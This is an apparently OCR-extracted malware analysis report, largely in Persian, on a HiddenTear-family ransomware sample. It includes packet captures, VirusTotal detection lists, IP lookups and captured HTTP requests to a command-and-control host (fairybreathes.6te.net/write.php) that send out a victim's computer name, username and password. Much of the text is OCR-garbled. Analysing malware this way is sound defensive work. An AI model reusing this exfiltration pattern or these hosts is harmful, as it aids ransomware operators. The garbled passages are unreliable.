58 8b £3 99 36 cc @0 Oc 29 63 96 B4 08 00 45 0O
00 34 02 5f 40 00 80 06 00 00 cO a8 O1 23 48 09
96 4 c0 28 00 50 bf e6 11 09 00 60 00 00 80 62
20 00 a0 ef 00 00 02 04 ©5 b4 01 03 03 08 01 01
04 02
cp.straom 0q 0 B -] Bgression.. +
Time Source Destination Protocol Length Info -
60 195.868280  172.217.21.228 192.168.1.35 TLSVI 1458 Application Data [TCP segment of a reassembled PDU]
61195.874743  172.217.21.228 192.168.1.35 TLSvI 1458 Application Data [TCP segment of a reassembled PDU]
62195.874793  192.168.1.35 172.217.21.228 T 54 49190 + 443 [ACK] Seq=393 Ack=31870 Win=66048 Len=0
63195.881022  172.217.21.228 192.168.1.35 TLSVI 1458 Application Data [TCP segment of a reassembled PDU]
64195.887029  172.217.21.228 192.168.1.35 TLSvl 1458 Application Data [TCP segment of a reassembled PDU]
65195.887065  192.168.1.35 172.217.21.228 (5 54 49190 » 443 [ACK] Seq=393 Ack=34678 Win=66048 Len=0
66195.804394  172.217.21.228 192.168.1.35 TLSvl 1458 Application Data (TCP segment of a reassembled PDU)
67195.901503  172.217.21.228 192.168.1.35 TLSvi 1458 Application Data [TCP segment of a reassembled PDU]
68195.901629  192.168.1.35 172.217.21.228 () 54 49190 » 443 [ACK] Seq=393 Ack=37486 Win-66048 Len=0
69195.907585  172.217.21.228 192.168.1.35 TISVI 1458 Application Data [TCP segment of a reassembled PDU]
70195.913947  172.217.21.228 192.168.1.35 TLsvl 1458 Application Data [TCP segment of a reassembled PDU]
71 195.914131 192.168.1.35 172.217.21.228 TP 54 49190 » 443 [ACK] Seq=393 Ack=40294 Win=66048 Len=0
72195.919606  172.217.21.228 192.168.1.35 TLSvl 1458 Application Data [TCP segment of a reassembled PDU]
73195.925977  172.217.21.228 192.168.1.35 TLSv1 1458 Application Data [TCP segment of a reassembled PDU]
74195.926020  192.168.1.35 172.217.21.228 TP 54 49190 » 443 [ACK] Seq=393 Ack=43102 Win-66048 Len=0
75195.932393  172.217.21.228 192.168.1.35 TUSvI 1458 Application Data [TCP segment of a reassembled PDU]
76 195.938707  172.217.21.228 192.168.1.35 TLSVI 1458 Application Data [TCP segment of a reassembled PDU]
77195.938750  192.168.1.35 172.217.21.228 TP 54 49190 » 443 [ACK] Seq=393 Ack=45010 Win=66048 Len=0
78195.945142  172.217.21.228 192.168.1.35 TLSVI 1458 Application Data [TCP segment of a reassembled PDU]
79195.951604  172.217.21.228 192.168.1.35 TLSVI 1458 Application Data [TCP segment of a reassembled PDU]
80195.951648  192.168.1.35 172.217.21.228 (<] 54 49190 » 443 [ACK] Seq=393 Ack=48718 Win-66048 Len=0 4
81195.957871  172.217.21.228 192.168.1.35 TISvI 1458 Application Data [TCP segment of a reassembled PDU] 3
82195.964516  172.217.21.228 192.168.1.35 TLSVI 1458 Application Data [TCP segment of a reassembled PDU]
83195964518  172.217.21.228 192.168.1.35 TLSvi 163 Application Data, Application Data
84195.964559  192.168.1.35 172.217.21.228 T 5449190 > 443 [ACK] Seq=393 Ack=51635 Win=66048 Len=0 -

A2l 25 Jsbe g Ul 2 sl 51 e DNS slacad 25
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V- http://fairybreathes.\te.net/write.php?info=Computer’/.Y +-/.Y+PC%Y : Username’.Y + -

/Y +admin’.Y +Password’/.Y +-/Y +GsUS?nlv?=nQJeT

Y- http://e.freewebhostingarea.com/¢+Y.html

el 83,5 15 LU, oT L 58l zb S ballpe o
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M Wireshark - Follow TCP Stream (tcp.stream eq 1) - wireshark_93DF4962-A00B-49BE-AEC7-7C8E38E582B1_20181105182948_a00840 = = =

GET /write.php?info=Computer%26-%20WIN-TOCDPFD33VG%20Username%20-%20SADEGH%20Pas sword%20-%20Z51WFQ99IquFli=u HTTP/1.1
Host: fairybreathes.6te.net
Connection: Keep-Alive

HTTP/1.1 302 Found

Date: Mon, ©5 Nov 2018 15:83:19 GMT

Server: Apache/2.4.34

Location: http://e.freewebhostingarea.com/403.html
Content-Length: 224

Keep-Alive: timeout=1, max=10000

Connection: Keep-Alive

Content-Type: text/html; charset=is50-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.@//EN">

<html><head>

<title>3@2 Found</title>

</head><body>

<h1>Found</h1>

<p>The document has moved <a href="http://e.freewebhostingarea.com/403.html">here</a>.</p>
</body></html>

Olejd 5 28 5sm 4 SU3 Sledbl Jluy r\izﬁwv.n/\.\‘\o.\ow&dubﬁf Sl 5l s ) s


http://fairybreathes.6te.net/write.php?info=Computer%20-%20PC%20Username%20-%20admin%20Password%20-%20GsUS?nJv?=nQJeT
http://fairybreathes.6te.net/write.php?info=Computer%20-%20PC%20Username%20-%20admin%20Password%20-%20GsUS?nJv?=nQJeT
http://e.freewebhostingarea.com/403.html
https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
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M Wireshark - Follow TCP Stream (tcp.stream eq 2) - wireshark_93DF4962-A00B-49BE-AEC7-7CBE3BE582B1_20181105182948_a00840

[E=ER==)

GET /483.html HTTP/1.1
Host: e.freewebhostingarea.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, @5 Nov 2018 15:03:19 GMT
Server: Apache
Last-Modified: Mon,
Accept-Ranges: bytes
Content-Length: 6801

16 May 2016 11:16:47 GMT

width: 800px; border: 2px solid #97C8E4; margin-left: auto; margin-right: auto;">

<table styl
2px; background-image: url('http://wwm.freewebhostingarea.con/images/border.gif');

<troctd style="height:

colspan="2"></td></tr>

<tr><td style="background-color: #FFFFFF" colspan="2
<p style="margin: 1@px 7px; font-family: Verdana, Geneva,
Welcome to <strong>Free Web Hosting Area</strongs!l<br>

Tahoma, sans-serif; font-size: 14px;">

<strong><a href="http://www.freewebhostingarea.com” style="color: #3333FF">Free Short Subdomain</a></strong>
<span style="font-size: 14px">: <strong>yourname.Gte.net</strong> or

<strongsyourname. eus.org</strong> or <strongryourname.xp3.biz</strongs or

<strongsyourname.orgfree. com</strongs or

<strongsvourname ueun_com</strongs and more - <a href="httn://um_freewehhostinearea_com"><strone stule="calor:

2 chent okt #sarver okt 3 e
= Show and save data as [ASCH

[Entee 128 bytes)

Find:

VYA Ve sl w bg e Sledbl 5l isu Y g

Keep-Alive: timeout=1, max=10000
Connection: Keep-Alive
| content-Type: text/html
|
| .. .<IDOCTYPE html>
|| <html lang="en">
|| <head>
| <titlesError - Forbidden</title>
|| <meta content="text/html; charset-utf-8" http-equiv="Content-Type">
| <meta name—description® Free Web Hosting Area provides unmetered traffic and free web space for domain or subdomain with php,
mail, mysql, ftp support,
<meta name= content="free web hosting, free hosting, free web space, free php hosting, free mysql database, no ads">
<base target="_blank">
<script type="text/javascript">if (top.location != location) { top.location.href = location.href; }</script>
</head>
<body>

background-color:

style="text-

span style="font-size: 12px">Create your free account NOW at <a href="http://www._ freewebhostingarea.com"
decoration:

<span style="color: #3333FF">http://www.freewebhostingarea.com</span></a> or short <a href="http://ww.freewha.com"
style="text-decoration: none”><span style="color: #3333FF">http://uww.freewha.com</span></a>.</span>

<p style="margin: 10px 7px; font-family: Verdana, Geneva, Tahoma, sans-serif; font-size: ldpx;">

#33I3FF"sFree

#O7CBEA;"

Stream 2 [2]

M Wireshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_ 1_20181105182948_a00840

CETH_£2A)r{.P

- v google. com.
LS. [-[-.ZKHOTi].

C) o
le Trust Services1%O#..U.

Google Internet Authority G3e..

 lgoog
1810161138002.
15010811380070h1 LU....USs1.e...U...
|| californiai.e...u..
|| Mountain Viewi.o.
il |-
|| |Google LLC1.0. Wi google . comeYe. RCITRPLT W) I TR S S T 8
|| Zs.F.z....lre %.-a
| ol el u... . Ihttp://pki.goog/Esr2 /GTSGIAGS . crtd). .+
| #/0cap.pki . goog/GTSGIAGI.
| lry...e.. i im.mlK@LLLU. . .0.0..
|| http://crl.pki. goog/GTSGTAGE . crla
|
I EECETAE
i , &
E.6.N-255.)..9...70..\0..0. ... ..
....GlobalSign Root CA - R21.0...U.
GlobalSignl.o.
GlobalSigne.
1706150000422 .
21121500004220T1.0 .usi.e...u

. .Google Trust Services1%o#.. Google Internet Authority G3e.
. ML

UK. 0.

R =L S,
L ihttna://nki.eone/renository

.. L@...U.. .. iw. P
SAMA % #. \httns fleed .

Show and save dota as [asci

[Enure =i

Find:

/ocsp.pki
ra

-goog/

stream o [2]

Find Next.
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IP Lookup Result From IP Locator on IP Map
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IP Locator & IP Lookup Basic Tracking Info

Dormain: lAgurio.xp3.b|'z
Whots Lookup

Domain Country - Domain To 1P}
IP Address: ‘173.208.195.156
1P Blackiist Check)

Reverse DNS: 156.195.208.173.in-addr.arpa

Hostname: hosted-by.freewha.com

ns12.orgfree.com >> 173.208.195.157

Nameservers:
ns11.orgfree.com >> 173.208.195.155
Address Location For IP: Agario.xp3.biz

Continent: North America (NA)

Country: United States 8§ (US)
Capital: Washington

State: Missouri
Location:

Postal: 64106

Area: 816

Metro: 616

ISP: WholeSale Internet

Organization: WholeSale Internet

AS Number: AS32097 WholeSale Internet, Inc.
IP Weather Station: Kansas
Sky: light rain
Temp: 21.9 2C (max 23.0 2C / min 21.0 2C)

~ Wind Speed: 4.1 m/s
s Wind Direction: 180.07

Humidity: 94%
Cloudiness: 92%
Atmospheric pressure: 1010 kPa

Time Zone: America/North_Dakota/Center

Local Time: 00:50:28

WYY AN0.0 07 ol S Cardge ¥ s

72.9.150.244 was not found in our database

ISP DFW Datacenter

Usage Type
Hostname(s)
Domain Name

Country

Data Center/Web Hosting/Transit
freewebhostingarea.com
dfw-datacenter.com

EEE United States

City Dallas, Texas

Spoft an error? IP info including ISP, Usage Type, and [ ocation provided by

VirusTotal <l

/P2l ocation. Contact them to update itl

REPORT 72.9.150.244

WHOIS 72.9.150.244

VYAN e Ve ol S Card e b s

: VirusTotal sbLle >4 &

:Symmyware i3Iz ol Jb 4 by e -

332 ge 580 u_:j} S5 8 u:_',T'W)'\ Syse b Sl ol Jl s

S o Jlad i b Gl |y OF 5 050 153 zb ol el 4 o
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Ad-Aware

ALYac

Arcabit

AVG

CrowdStrike Falcon
Cylance

DrWeb

Endgame
ESET-NOD32
F-Secure

GData

Jiangmin

MAX
McAfee-GW-Edition
NANO-Antivirus
Panda

Rising

Sophos AV
Symantec
TrendMicro

ViRobot

R N

ZoneAlarm

Dropped:Generic.Ransom.Small.43F2...

Dropped:Generic.Ransom.Small.43F2...

Generic.Ransom.Small.43F2C420
MSIL:Filecoder-AC [Trj]
malicious_confidence_100% (W)
Unsafe

Trojan.Encoder.10598

malicious (high confidence)

a variant of MSIL/Filecoder.AK

Dropped:Generic.Ransom.Small.43F2...

Dropped:Generic.Ransom.Small.43F2...

TrojanDownloader.Paph.ds

malware (ai score=87)

BehavesLike.Win32.Dropper.gh

Trojan.Win32.Encoder.fjuhcf

Trj/Genetic.gen

Ransom.HiddenTear!8.D0C9E (CLOUD)

PsExec (PUA)

Downloader

Ransom_HiddenTear.R002CODK118

Trojan.Win32.U.Agent.152576.C

HEUR:Trojan.Win32.Generic

AegisLab

Antiy-AVL

Avast

BitDefender

Cybereason

Cyren

Emsisoft

eScan

F-Prot

Fortinet

Ikarus

McAfee

Microsoft

Palo Alto Networks

Qihoo-360

SentinelOne

Sophos ML

Tencent

TrendMicro-HouseCall

Webroot

Zoner

Trojan.BAT.Agent.tnKf
Trojan[Downloader]/Win32.Betload
MSIL:Filecoder-AC [Trj]
Dropped:Generic.Ransom.Small.43F2...
malicious.66b7e0

W32/Trojan.DONK-1534

Dropped:Generic.Ransom.Small.43F2...
(8)

Dropped:Generic.Ransom.Small.43F2...
W32/Starter.M

MSIL/Filecoder.AK!tr
Win32.0utbreak
HEUR:Trojan.Win32.Generic
RDN/Ransom
Ransom:Win32/HiddenTear.gen
genericml

Win32/Trojan.61e

static engine - malicious

heuristic

Win32.Trojan.Raas.Auto
Ransom_HiddenTear.RO02CODK118

PUA.Gen

0 N N

TrojanAgent.Generic

: hyBrDFjOidLuty.exe U 4 b, ,» Y

VirusTotal Glolw 55 55> g0 Sl53lan 51 5 ey s 51700 515550 £ sli ol> b o

Ad-Aware
ALvac

Arcabit

AVG

Bkav

Cylance

Drweb

Endgame
ESET-NOD32

Fortinet

Ikarus

K7GW

Malwarebytes

McAfee

Microsoft

Palo Alto Networks
Qihoo-360

Sophos ML

Tencent
TrendMicro-HouseCall

ZoneAlarm

S gp b e b Bl 1 0Ty e L1531 2L cpl plelid 4 56

Generic.Ransom.Small.43F2C420

Trojan.Ransom.Filecoder

Generic.Ransom.Small.43F2C420

MSIL:Filecoder-AC [Trj]

W32 AlDetectVM. malware

Unsafe

Trojan.Encoder.10598

malicious (high confidence)

a variant of MSIL/FilecoderAK

MSIL/Filecoder AKitr.ransom

Trojan-Ransom.FlleCoder

Trojan ( 004de29f1 )

Ransom FileCryptor

Generic.dzn

Ransorm:Win32/HiddenTear.gen

generic.ml

Win32/Trojan.61e

heuristic

Win32. Trojan.Raas.Auto

Ransom_RAMSIL.SM

L2

HEUR:Trojan.Win32.Generic

T

Aegistab
Antiy-AVL

Avast

BitDefender
CrowdStrike Falcon
Cyren

Emsisoft

eScan

F-Secure

GData

K7AntiVirus
Kaspersky

MAX
McAfee-GW-Edition
NANO-Antivirus
Panda

Sophos AV
Symantec
TrendMicro
ViRobot

AhnLab-v3

OPPPPRPRPRRPDDDDDDDRRRRD

Trojan.Win32.Generic.4lc
Trojan[Ransom]/Win32 HiddenTear
MSIL:Filecoder-AC [Trj]
Generic.Ransom.Small.43F2C420
malicious_confidence_80% (W)
W32/Trojan.REIQ-0426
Generic.Ransom.Small.4a3F2C420 (8]
Generic.Ransom.Small.43F2C420
Generic.Ransom.Small.43F2C420
Generic.Ransom. Small. 43F2C420
Trojan ( 004de29f1 )
HEUR:Trojan.wWin32.Generic
malware (ai score=85)

RDN/Ransom

Trojan.Win32 Encoder.fiuhch
Trl/Gdsda.A

Mal/Generic-S

Trojan.Gen.2

Ransom_RAMSIL.SM

Trojan.Win32.Z Filecoder.20992.6
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